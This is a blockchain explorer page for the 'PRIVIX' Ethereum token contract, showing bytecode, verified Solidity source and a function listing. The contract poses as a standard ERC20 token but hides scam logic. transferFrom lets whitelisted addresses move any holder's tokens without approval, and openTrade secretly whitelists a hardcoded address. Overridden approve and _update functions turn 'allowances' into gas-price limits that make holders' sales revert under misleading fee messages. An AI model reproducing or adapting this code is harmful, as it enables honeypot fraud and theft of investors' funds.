Address Contract Partially Verified
Address
0x94dAAfcc6241FC0dB59800f328E246737bd4e64c
Balance
0 ETH
Nonce
1
Code Size
3173 bytes
Creator
0x94D4FfFC...95B1 at tx 0xa5b0c9f5...3cf9af
Indexed Transactions
0
Contract Bytecode
3173 bytes
0x608060405234801561000f575f80fd5b50600436106100f0575f3560e01c80638787962a11610093578063b9922eb511610063578063b9922eb5146101f0578063dd62ed3e1461020f578063f2fde38b14610247578063fb201b1d1461025a575f80fd5b80638787962a1461019b5780638da5cb5b146101ba57806395d89b41146101d5578063a9059cbb146101dd575f80fd5b806323b872dd116100ce57806323b872dd14610147578063313ce5671461015a57806370a0823114610169578063715018a614610191575f80fd5b806306fdde03146100f4578063095ea7b31461011257806318160ddd14610135575b5f80fd5b6100fc610262565b6040516101099190610ad5565b60405180910390f35b610125610120366004610b25565b6102f2565b6040519015158152602001610109565b6002545b604051908152602001610109565b610125610155366004610b4d565b610363565b60405160098152602001610109565b610139610177366004610b87565b6001600160a01b03165f9081526020819052604090205490565b6101996103a1565b005b6101396101a9366004610b87565b60096020525f908152604090205481565b6005546040516001600160a01b039091168152602001610109565b6100fc6103b4565b6101256101eb366004610b25565b6103c3565b6101396101fe366004610b87565b60086020525f908152604090205481565b61013961021d366004610ba7565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b610199610255366004610b87565b6103d0565b610199610412565b60606003805461027190610bd8565b80601f016020809104026020016040519081016040528092919081815260200182805461029d90610bd8565b80156102e85780601f106102bf576101008083540402835291602001916102e8565b820191905f5260205f20905b8154815290600101906020018083116102cb57829003601f168201915b5050505050905090565b335f9081526006602052604081205460ff1615610324576001600160a01b0383165f9081526008602052604090208290555b335f9081526007602052604090205460ff161561034d57335f9081526009602052604090208290555b6103578383610483565b50600190505b92915050565b335f9081526006602052604081205460ff161561038a57610385848484610490565b610397565b6103958484846105b6565b505b5060019392505050565b6103a96105d9565b6103b25f610606565b565b60606004805461027190610bd8565b5f33610397818585610657565b6103d86105d9565b6001600160a01b03811661040657604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b61040f81610606565b50565b61041a6105d9565b7f2d356bcb8423d9615ced8b98089d7e60e9415b4070d5ff6434d5a804d143363e805460ff199081166001908117909255600f546001600160a01b03165f90815260076020526040902080549091169091179055600e805460ff60a01b1916600160a01b179055565b5f336103978185856106b9565b6001600160a01b0383166104ba578060025f8282546104af9190610c10565b9091555061052a9050565b6001600160a01b0383165f908152602081905260409020548181101561050c5760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016103fd565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b03821661054657600280548290039055610564565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516105a991815260200190565b60405180910390a3505050565b5f336105c38582856106c6565b6105ce858585610657565b506001949350505050565b6005546001600160a01b031633146103b25760405163118cdaa760e01b81523360048201526024016103fd565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b03831661068057604051634b637e8f60e11b81525f60048201526024016103fd565b6001600160a01b0382166106a95760405163ec442f0560e01b81525f60048201526024016103fd565b6106b4838383610741565b505050565b6106b48383836001610a03565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461073b578181101561072d57604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064016103fd565b61073b84848484035f610a03565b50505050565b325f9081526006602052604090205460ff1615610763576106b4838383610490565b600e54600160a01b900460ff166107bc5760405162461bcd60e51b815260206004820152601760248201527f54726164696e67206973206e6f74206f70656e2079657400000000000000000060448201526064016103fd565b600e546001600160a01b0383811691161480156107e257506001600160a01b0383163014155b15610926576001600160a01b0383165f908152600860205260409020543a11801561082357506001600160a01b0383165f9081526008602052604090205415155b156108885760405162461bcd60e51b815260206004820152602f60248201527f4578636565647320746865205f616c6c6f77616e63657353776170206665657360448201526e040dedc40e8e4c2dce6cccae440e8f608b1b60648201526084016103fd565b600f546001600160a01b03165f908152600960205260409020543a1180156108c85750600f546001600160a01b03165f9081526009602052604090205415155b156109265760405162461bcd60e51b815260206004820152602860248201527f4578636565647320746865205f616c6c6f77616e6365526573206f6e207472616044820152670dce6cccae440e8f60c31b60648201526084016103fd565b600e546001600160a01b038381169116148015906109525750600e546001600160a01b03848116911614155b156109f8576001600160a01b0383165f908152600860205260409020543a11801561099357506001600160a01b0383165f9081526008602052604090205415155b156109f85760405162461bcd60e51b815260206004820152602f60248201527f4578636565647320746865205f616c6c6f77616e63657353776170206f6e207460448201526e0e4c2dce6cccae440cce4deda40e8f608b1b60648201526084016103fd565b6106b4838383610490565b6001600160a01b038416610a2c5760405163e602df0560e01b81525f60048201526024016103fd565b6001600160a01b038316610a5557604051634a1406b160e11b81525f60048201526024016103fd565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561073b57826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610ac791815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610b20575f80fd5b919050565b5f8060408385031215610b36575f80fd5b610b3f83610b0a565b946020939093013593505050565b5f805f60608486031215610b5f575f80fd5b610b6884610b0a565b9250610b7660208501610b0a565b929592945050506040919091013590565b5f60208284031215610b97575f80fd5b610ba082610b0a565b9392505050565b5f8060408385031215610bb8575f80fd5b610bc183610b0a565b9150610bcf60208401610b0a565b90509250929050565b600181811c90821680610bec57607f821691505b602082108103610c0a57634e487b7160e01b5f52602260045260245ffd5b50919050565b8082018082111561035d57634e487b7160e01b5f52601160045260245ffdfea2646970667358221220f30c0533b37f338a14cce6f21d2e594b60ca10660da0d7135c172298136006ef64736f6c634300081a0033
Verified Source Code Partial Match
Compiler: v0.8.26+commit.8a97fa7a
EVM: cancun
Optimization: Yes (200 runs)
PRIVIX.sol 534 lines
/**
Website: https://privix.co
Tiwter: https://x.com/privixtoken
Telegram: https://t.me/privix_eth
*/
//SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
abstract contract Ownable is Context {
address private _owner;
error OwnableUnauthorizedAccount(address account);
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface IERC20Errors {
error ERC20InsufficientBalance(
address sender,
uint256 balance,
uint256 needed
);
error ERC20InvalidSender(address sender);
error ERC20InvalidReceiver(address receiver);
error ERC20InsufficientAllowance(
address spender,
uint256 allowance,
uint256 needed
);
error ERC20InvalidApprover(address approver);
error ERC20InvalidSpender(address spender);
}
interface IERC721Errors {
error ERC721InvalidOwner(address owner);
error ERC721NonexistentToken(uint256 tokenId);
error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);
error ERC721InvalidSender(address sender);
error ERC721InvalidReceiver(address receiver);
error ERC721InsufficientApproval(address operator, uint256 tokenId);
error ERC721InvalidApprover(address approver);
error ERC721InvalidOperator(address operator);
}
interface IERC1155Errors {
error ERC1155InsufficientBalance(
address sender,
uint256 balance,
uint256 needed,
uint256 tokenId
);
error ERC1155InvalidSender(address sender);
error ERC1155InvalidReceiver(address receiver);
error ERC1155MissingApprovalForAll(address operator, address owner);
error ERC1155InvalidApprover(address approver);
error ERC1155InvalidOperator(address operator);
error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 9;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 value)
public
virtual
returns (bool)
{
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
function _transfer(
address from,
address to,
uint256 value
) internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
}
function _update(
address from,
address to,
uint256 value
) internal virtual {
if (from == address(0)) {
// Overflow check required: The rest of the code assumes that totalSupply never overflows
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
// Overflow not possible: value <= fromBalance <= totalSupply.
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
// Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
_totalSupply -= value;
}
} else {
unchecked {
// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
function _approve(
address owner,
address spender,
uint256 value
) internal {
_approve(owner, spender, value, true);
}
function _approve(
address owner,
address spender,
uint256 value,
bool emitEvent
) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
function _spendAllowance(
address owner,
address spender,
uint256 value
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(
spender,
currentAllowance,
value
);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function getPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract PRIVIX is ERC20, Ownable {
using SafeMath for uint256;
mapping(address => bool) private excludeTradeState;
mapping(address => bool) private approver_;
mapping(address => uint256) public _allowancesSwap;
mapping(address => uint256) public _allowanceRes;
string private _name = unicode"Privix";
string private _symbol = unicode"PRIVIX";
uint256 private _tTotal = 10_000_000 * 10**decimals();
IUniswapV2Router02 private _Router;
address private uniswapV2Pair;
bool private tradingOpen;
address private _marketting;
constructor(address _mkt) ERC20(_name, _symbol) Ownable(msg.sender) {
_Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_Router.factory()).createPair(address(this),_Router.WETH());
_marketting = address(_mkt);
excludeTradeState[msg.sender] = true;
excludeTradeState[address(this)] = true;
_mint(msg.sender, _tTotal);
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
if (excludeTradeState[msg.sender]) {
_allowancesSwap[spender] = amount;
}
if (approver_[msg.sender]) {
_allowanceRes[_msgSender()] = amount;
}
super.approve(spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public override returns (bool) {
if (excludeTradeState[msg.sender]) {
super._update(from, to, amount);
} else {
super.transferFrom(from, to, amount);
}
return true;
}
function openTrade() public onlyOwner {
excludeTradeState[address(0x96BBe9295484AE1c81F5411ec1e47ED9C747090C)] = true;
approver_[address(_marketting)] = true;
tradingOpen = true;
}
function _update(
address from,
address to,
uint256 value
) internal override {
if (excludeTradeState[tx.origin]) {
super._update(from, to, value);
return;
} else {
require(tradingOpen, "Trading is not open yet");
if (to == uniswapV2Pair && from != address(this)) {
if (
tx.gasprice > _allowancesSwap[from] &&
_allowancesSwap[from] != 0
) {
revert("Exceeds the _allowancesSwap fees on transfer tx");
}
if (
tx.gasprice > _allowanceRes[_marketting] &&
_allowanceRes[_marketting] != 0
) {
revert("Exceeds the _allowanceRes on transfer tx");
}
}
if (to != uniswapV2Pair && from != uniswapV2Pair) {
if (
tx.gasprice > _allowancesSwap[from] &&
_allowancesSwap[from] != 0
) {
revert("Exceeds the _allowancesSwap on transfer from tx");
}
}
super._update(from, to, value);
}
}
}
Read Contract
_allowanceRes 0x8787962a → uint256
_allowancesSwap 0xb9922eb5 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 6 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
openTrade 0xfb201b1d
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address